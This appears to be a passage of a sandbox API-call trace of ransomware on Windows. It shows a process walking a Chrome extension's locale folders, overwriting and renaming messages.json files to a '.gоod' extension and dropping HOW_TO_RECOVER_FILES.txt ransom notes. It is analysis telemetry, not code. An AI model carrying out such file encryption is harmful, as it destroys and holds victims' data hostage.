GetFileType (hFile=0x824) returned 0x1 [0240.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.434] GetFileType (hFile=0x824) returned 0x1 [0240.434] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe0 [0240.434] ReadFile (in: hFile=0x824, lpBuffer=0x374a4a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x374a4a8*, lpNumberOfBytesRead=0x1f6e7648*=0xe0, lpOverlapped=0x0) returned 1 [0240.435] CloseHandle (hObject=0x824) returned 1 [0240.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0240.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.462] GetFileType (hFile=0x824) returned 0x1 [0240.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.462] GetFileType (hFile=0x824) returned 0x1 [0240.462] WriteFile (in: hFile=0x824, lpBuffer=0x37c2f30*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x37c2f30*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0240.462] CloseHandle (hObject=0x824) returned 1 [0240.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0240.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.gоod", lpFilePart=0x0) returned 0x8f [0240.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0240.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5529d27e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529f948, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8b8b21de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0240.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0240.463] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.gоod")) returned 1 [0240.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x95 [0240.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0240.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0240.464] GetFileType (hFile=0x824) returned 0x1 [0240.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0240.464] GetFileType (hFile=0x824) returned 0x1 [0240.465] WriteFile (in: hFile=0x824, lpBuffer=0x37c6868*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x37c6868*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0240.466] CloseHandle (hObject=0x824) returned 1 [0240.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.466] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpFilePart=0x0) returned 0x7b [0240.466] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552a95cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552abcd6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552abcd6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0240.466] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552a95cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552abcd6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552abcd6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.466] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552abcd6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ae3a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.467] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.467] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0240.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.467] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpFilePart=0x0) returned 0x7b [0240.467] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552a95cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552abcd6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552abcd6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0240.467] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552a95cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552abcd6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552abcd6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.467] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552abcd6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ae3a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.467] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552abcd6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ae3a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.467] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0240.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0240.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0240.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37d6838 | out: lpFileInformation=0x37d6838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552abcd6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ae3a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1 [0240.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0240.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0240.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.468] GetFileType (hFile=0x824) returned 0x1 [0240.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.468] GetFileType (hFile=0x824) returned 0x1 [0240.468] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xde [0240.468] ReadFile (in: hFile=0x824, lpBuffer=0x37d6cd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x37d6cd0*, lpNumberOfBytesRead=0x1f6e7648*=0xde, lpOverlapped=0x0) returned 1 [0240.679] CloseHandle (hObject=0x824) returned 1 [0240.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0240.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.707] GetFileType (hFile=0x824) returned 0x1 [0240.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.707] GetFileType (hFile=0x824) returned 0x1 [0240.707] WriteFile (in: hFile=0x824, lpBuffer=0x38cb460*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x38cb460*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0240.708] CloseHandle (hObject=0x824) returned 1 [0240.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0240.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0240.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0240.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552abcd6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ae3a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8baee2e3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0240.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0240.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.gоod")) returned 1 [0240.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0240.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0240.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0240.711] GetFileType (hFile=0x824) returned 0x1 [0240.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0240.711] GetFileType (hFile=0x824) returned 0x1 [0240.712] WriteFile (in: hFile=0x824, lpBuffer=0x38ced98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x38ced98*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0240.713] CloseHandle (hObject=0x824) returned 1 [0240.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.713] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpFilePart=0x0) returned 0x7b [0240.713] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552b591e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ba743, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552ba743, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0240.714] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552b591e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ba743, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552ba743, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.714] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552ba743, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552bf518, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.714] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.714] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0240.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.714] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpFilePart=0x0) returned 0x7b [0240.714] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x1f6e7630 | 